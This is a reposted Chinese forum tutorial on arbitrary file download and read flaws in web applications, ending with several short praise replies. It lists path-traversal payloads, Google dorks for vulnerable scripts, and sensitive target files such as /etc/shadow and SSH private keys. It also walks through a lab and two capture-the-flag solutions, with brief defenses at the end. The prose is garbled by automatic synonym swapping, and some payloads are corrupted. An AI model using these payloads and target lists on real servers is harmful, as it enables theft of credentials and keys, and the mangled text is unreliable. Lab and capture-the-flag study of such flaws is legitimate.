请选择 进入手机版 | 继续访问电脑版

[安全相关] 案例讲解WEB 弊端 -文件操作之文件下载读取

[复制链接]
查看191 | 回复40 | 2021-9-13 06:23:06 | 显示全部楼层 |阅读模式
目次

原理

产生:恣意 语言代码下载函数
文件下载(一些网站由于业务需求,通常 必要 提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限定 ,则恶意用户就可以或许 查看或下载恣意 敏感文件,这就是文件查看与下载弊端 。)

  1. 文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
  2. 所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。
复制代码

弊端 危害

下载服务器恣意 文件,如脚本代码、服务及体系 设置 文件等
可用得到的代码进一步代码审计,得到更多可利用 弊端

利用 方式

浅谈恣意 文件下载弊端 的利用
信息网络 信息→猜路径→下载设置 文件/代码文件→利用 服务器软件弊端 →shell→提权

起首 网络 体系 信息,包括体系 版本,中心 件,cms版本,服务器用途,服务器利用 者信息,端口,web路径等,然后根据网络 到的信息,下载设置 文件,如weblogic,ftp,ssh等, 根据下载到的设置 文件举行 渗出 。

  1. 1. 读取程序源代码(如密码配置文件)
  2. 2. 读取程序配置文件(如数据库连接文件)
  3. 如weblogic,ssh,ftp,数据库配置文件等, 当解出密码后,进行登陆,getshell
  4. 3. 读取操作系统关键文件(如/etc/sadow,/ root/.bash_history等文件)
  5. 4. 读取运维配置文件(redis/rsync/ftp/ssh客 户端数据等)
  6. 5. 读取中间件配置文件(weblogic/tomcat等 密码文件,apache的httpd.conf文件)
  7. 6. 下载web日志文件(获取网站后台/上传文件 等)
  8.  下载日志文件,找到登录/上传/后台/ 操作,找到登录入口 可以爆破,测试默认口令,弱口令,  找到文件上传点则测试文件上传漏洞,找到后台操作试试有没有未授权访问
  9. 7. 结合SSRF获取内网机器文件
  10. 8. 可以利用../返回到上级目录下载敏感文件
复制代码

体系 文件

window

  1. C:\boot.ini //查看系统版本
  2. C:\Windows\System32\inetsrv\MetaBase. xml //IIS配置文件
  3. C:\Windows\repair\sam //存储系统初次安装的密码
  4. C:\Program Files\mysql\my.ini //Mysql配置
  5. C:\Program Files\mysql\data\mysql\user. MYD  //Mysql root
  6. C:\Windows\php.ini //php配置信息
  7. C:\Windows\my.ini //Mysql配置信息
复制代码

Linux

  1. .bash_history` # 历史中可能带着用户的密码 ( 遇到过现实案例,是输错的情况下参数的,比如没 输入 su 却以为自己输了 su)
  2. /etc/passwd # 用户情况
  3. /etc/shadow # 直接 John the Ripper
  4. /etc/hosts # 主机信息,通常配置了一些内网 域名
  5. /root/.bash_history //root的bash历史记录
  6. /root/.ssh/authorized_keys /root/.mysql_history //mysql的bash历史记录
  7. /root/.wget-hsts /opt/nginx/conf/nginx.conf //nginx的配置文件
  8. /var/www/html/index.html /etc/my.cnf /etc/httpd/conf/httpd.conf //httpd的配置文件
  9. /proc/self/fd/fd[0-9]*(文件标识符)
  10. /proc/mounts /porc/config.gz /proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
  11. /proc/mounts // 挂载的文件系统列表
  12. /proc/net/arp //arp表,可以获得内网其他机器的地址
  13. /proc/net/route //路由表信息
  14. /proc/net/tcp and /proc/net/udp // 活动连接的信息
  15. /proc/net/fib_trie // 路由缓存
  16. /proc/version // 内核版本
  17. /proc/[PID]/cmdline // 可能包含有用的路径信息
  18. /proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell
  19. /proc/[PID]/cwd // 当前进程的工作目录
  20. /proc/[PID]/fd/[#] // 访问file descriptors, 某写情况可以读取到进程正在使用的文件,比如 access.log /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1
  21. /usr/local/tomcat/conf/tomcat-users. xml # tomcat 用户配置文件
  22. /root/.bashrc # 环境变量
  23. /root/.bash_history # 还有root外的其他用户
  24. /root/.viminfo # vim 信息
  25. /root/.ssh/id_rsa # 拿私钥直接ssh
  26. /proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite 数据库 config 文件     web 日志 access.log, error.log /var/lib/php/sess_PHPSESSID # 非常规问题 session 文件
  27. /proc/net/arp /proc/net/tcp /proc/net/udp /proc/net/dev
复制代码

常见脚本敏感文件参考

PHP: inc/config. php获得数据库毗连 字符串中的口令信息
asp: inc/conn.asp文件,获得数据库毗连 字符串,得到数据库口令。
aspx: web.config网站根目次 文件,获得数据库毗连 信息。
JSP: conf/ tomcat-user.xml文件,获得tomcat管理界面的口令信息
WEB- INF /Web. xml文件,获得数据库毗连 字符串中的口令信息。

恣意 文件读取

  1. <?php
  2. $filename = "test.txt";
  3. readfile($filename);
  4. ?>
  5. <?php
  6. $filename = "test.txt";
  7. $fp = fopen($filename,"r") or die("Unable to open file!");
  8. $data = fread($fp,filesize($filename));
  9. fclose($fp);
  10. echo $data;
  11. ?>
  12. <?php
  13. $filename = "test.txt";
  14. echo file_get_contents($filename);
  15. ?>
复制代码

恣意 文件下载

直接下载:

  1. <a href="http://www.xx.com/a.zip" rel="external nofollow" >Download</a>
复制代码

用header()下载:

  1. <?php
  2. $filename = "uploads/201607141437284653.jpg";
  3. header('Content-Type: imgage/jpeg');
  4. header('Content-Disposition: attachment; filename='.$filename);
  5. header('Content-Lengh: '.filesize($filename));
  6. ?>
复制代码

Google search

  1. inurl:"readfile.php?file="
  2. inurl:"read.php?filename="
  3. inurl:"download.php?file="
  4. inurl:"down.php?file="
  5. 等等...
复制代码

弊端 利用 代码

  1. readfile.php?file=/etc/passwd
  2. readfile.php?file=../../../../../../../../etc/passwd
  3. readfile.php?file=../../../../../../../../etc/passwd%00
复制代码

1.文件被剖析 ,则是文件包含弊端
2.表现 源代码,则是文件读取弊端
3.提示文件下载,则是文件下载弊端

弊端 发掘

  1. 可以用Google hacking或Web漏洞扫描器
  2. 从链接上看,形如:
  3. • readfile.php?file=***.txt
  4. • download.php?file=***.rar
  5. 从参数名看,形如:
  6. • &RealPath=
  7. • &FilePath=
  8. • &filepath=
  9. • &Path=
  10. • &path=
  11. • &inputFile=
  12. • &url=
  13. • &urls=
  14. • &Lang=
  15. • &dis=
  16. • &data=
  17. • &readfile=
  18. • &filep=
  19. • &src=
  20. • &menu=
  21. • META-INF
  22. • WEB-INF
  23. 目录符号等
  24. ../ ..\ .\ ./等
  25. %00 ? %23 %20 .等
复制代码

弊端 验证

  1. • index.php?f=../../../../../../etc/passwd
  2. • index.php?f=../index.php
  3. • index.php?f=file:///etc/passwd
  4. 注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,
  5. 若显示源码或提示下载则是文件查看与下载漏洞
复制代码

弊端 防范

恣意 文件下载弊端 的简单防护措施
1、过滤“.”符号,利用 户在url中无法回溯到上级目次 。
2、利用 正则表达式严酷 判定 用户输入参数的格式。
3、php.ini设置 文件中对于open_basedir举行 设置 ,限定用户的文件访问范围。
4、固定目次

案例

pikuchu靶场-文件下载测试

1、判定 是否为文件上传弊端

在这里插入图片形貌

点击恣意 图片,发现下载了图片,复制图片下载链接查看

  1. http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=kb.png
复制代码

查看参数名为filename,查看参数后面的值也与下载的文件名一样
初步判定 为文件上传弊端

2、判定 下载路径
filename的文件名是单纯的文件名,可判定 是前面加了路径名,也大概 是与网站在同一个目次 下
通过URL判定 文件是通过跳转到execdownload.php页面下载的,我们试试看可不可以直接下载到execdownload.php这个源码

  1. http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=execdownload.php
复制代码

在这里插入图片形貌

发现表现 无法下载,阐明 该execdownload.php与文件不在同一个路径下,我们尝试下到上一级路径

  1. http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=../execdownload.php
复制代码

在这里插入图片形貌

成功下载,打开源码发现是在download文件夹下

在这里插入图片形貌

阐明 文件下载路径的文件夹与down_nba.php是同一级路径
3、尝试下载敏感文件(以下路径均通过扫描路径得到)
pikachu-master/inc/config.inc.php
当前下载路径:
pikachu-master/vul/unsafedownload/download/xxx.xxx
与vul相差3个父目次 ,以是 加3个…/
完备 url:
http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=…/…/…/inc/config.inc.php
下载成功,打开发 现内里 存在数据库干系 的设置 文件

在这里插入图片形貌

小米路由器-文件读取真实测试-弊端

复现

RoarCTF2019-文件读取真题复现

wp
起首 看到一个页面,点击下help看看啥环境 。

在这里插入图片形貌

发现输出一串

  1. java.io.FileNotFoundException:{help.docx}
复制代码

是文件无法找到的非常 信息

在这里插入图片形貌

查询资料发现:
WEB-INF/web.xml走漏
WEB-INF是Java的WEB应用的安全目次 。假如 想在页面中直接访问此中 的文件,必须通过web.xml文件对要访问的文件举行 相应映射才能访问。WEB-INF重要 包含一下文件或目次 :
/WEB-INF/web.xml:Web应用程序设置 文件,形貌 了 servlet 和其他的应用组件设置 及定名 规则。
/WEB-INF/classes/:含了站点全部 用 的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用必要 的各种JAR文件,放置仅在这个应用中要求利用 的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目次 ,按照包名布局 放置各个java文件。
/WEB-INF/database.properties:数据库设置 文件

  1. 漏洞成因:
  2. 通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
复制代码

根据上文,我们先找一下WEB-INF/web.xml,POST传值

在这里插入图片形貌

得到WEB-INF/web.xml文件,打开

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  5. version="4.0">
  6. <welcome-file-list>
  7. <welcome-file>Index</welcome-file>
  8. </welcome-file-list>
  9. <servlet>
  10. <servlet-name>IndexController</servlet-name>
  11. <servlet-class>com.wm.ctf.IndexController</servlet-class>
  12. </servlet>
  13. <servlet-mapping>
  14. <servlet-name>IndexController</servlet-name>
  15. <url-pattern>/Index</url-pattern>
  16. </servlet-mapping>
  17. <servlet>
  18. <servlet-name>LoginController</servlet-name>
  19. <servlet-class>com.wm.ctf.LoginController</servlet-class>
  20. </servlet>
  21. <servlet-mapping>
  22. <servlet-name>LoginController</servlet-name>
  23. <url-pattern>/Login</url-pattern>
  24. </servlet-mapping>
  25. <servlet>
  26. <servlet-name>DownloadController</servlet-name>
  27. <servlet-class>com.wm.ctf.DownloadController</servlet-class>
  28. </servlet>
  29. <servlet-mapping>
  30. <servlet-name>DownloadController</servlet-name>
  31. <url-pattern>/Download</url-pattern>
  32. </servlet-mapping>
  33. <servlet>
  34. <servlet-name>FlagController</servlet-name>
  35. <servlet-class>com.wm.ctf.FlagController</servlet-class>
  36. </servlet> <servlet-mapping>
  37. <servlet-name>FlagController</servlet-name>
  38. <url-pattern>/Flag</url-pattern>
  39. </servlet-mapping>
  40. </web-app>
复制代码

我们可以看到com.wm.FlagController,

  1. <servlet>
  2. <servlet-name>FlagController</servlet-name>
  3. <servlet-class>com.wm.ctf.FlagController</servlet-class>
  4. </servlet>
复制代码

servlet-class内里 的.代表的是路径/
然后下载FlagController.class文件试一试

  1. filename=WEB-INF/classes/com/wm/ctf/FlagController.class
复制代码

打开文件发现一串base编码,举行 base64解密得到flag

在这里插入图片形貌

在这里插入图片形貌

资料1
资料2

在这里插入图片形貌

百度杯2017二月-Zone真题复现

靶场
wp1
wp2

在这里插入图片形貌

1、 尝试burp抓包发现cookie中有个login,值为0,将0改为1后在访问首页,发现可以正常登入

在这里插入图片形貌

2、单击 “manage” (此时还是必要 用burp改login的值),点击框框发现比较特别 的url;猜测大概 存在文件包含或者下载、读取

在这里插入图片形貌

3、测试访问url: xxxxxx.com/manages/admin.php?module=ind…/ex&name=php 页面可以正常访问,猜测过滤了一遍…/再试一试绕过 url:url: xxxxxx.com/manages/admin.php?module=ind…/./ex&name=php 访问不正常;
阐明 过滤机制只是把…/举行 了一次过滤,以是 我们双写…/即可

4、访问测试恣意 文件读取判定 路径通过不断加…/ url:?module=…/./…/./…/./etc/passwd&name
(用户环境 文件)

在这里插入图片形貌

5、查看下服务器是nginx。找一下它的设置 文件,根据信息读取设置 文件, url: manages/admin.php?module=…/./…/./…/./etc/nginx/nginx.conf 获得关键文件sites-enabled/default 并举行 读取

在这里插入图片形貌

module=…/./…/./…/./etc/nginx/sites-enabled/default&name=获得web文件路径online-movies 并访问

在这里插入图片形貌

6、发现可以利用 的弊端 ,由于 有一个autoindex on也就是开启了目次 遍历,我们可以访问这个/online-movies/,访问出现如下,再点击…/发现要举行 验证,把login改为1后页面空缺 ,我通过百度发现要/online-movies/…才能遍历(不清楚 为什么)

在这里插入图片形貌

7、访问/online-movies…/

在这里插入图片形貌

8、地址为:online-movies…/var/www/html/flag.php构造url下载到flag.php获得flag

到此这篇关于案例讲解WEB 弊端 -文件操作之文件下载读取的文章就先容 到这了,更多干系 WEB 弊端 文件下载读取内容请搜刮 脚本之家从前 的文章或继续欣赏 下面的干系 文章渴望 大家以后多多支持脚本之家!


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

avatar 丽人至上再 | 2021-9-17 19:09:44 | 显示全部楼层
顶一下,收藏了!
回复

使用道具 举报

avatar 向往草原403 | 2021-9-18 18:14:09 | 显示全部楼层
每次看到admin楼主的帖子都有惊吓!
回复

使用道具 举报

avatar 加菲猫419 | 2021-9-21 13:04:40 | 显示全部楼层
看了这么多帖子,第一次看看到这么有内涵的!
回复

使用道具 举报

avatar veronica六 | 2021-9-23 20:30:19 | 显示全部楼层
admin楼主内心很强大!
回复

使用道具 举报

avatar Alysia | 2021-10-3 02:28:02 | 显示全部楼层
admin楼主的头像是本人吗?
回复

使用道具 举报

avatar 123457376 | 2021-10-3 05:35:45 | 显示全部楼层
很有看点!
回复

使用道具 举报

avatar 虎哥726 | 2021-10-3 09:11:55 | 显示全部楼层
这个帖子会火的,鉴定完毕!
回复

使用道具 举报

avatar 特朗普大爷 | 2021-10-3 12:35:26 | 显示全部楼层
世界末日我都挺过去了,看到admin楼主我才知道为什么上帝留我到现在!
回复

使用道具 举报

avatar 462710480 | 2021-10-3 13:23:40 | 显示全部楼层
今天皮痒了?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则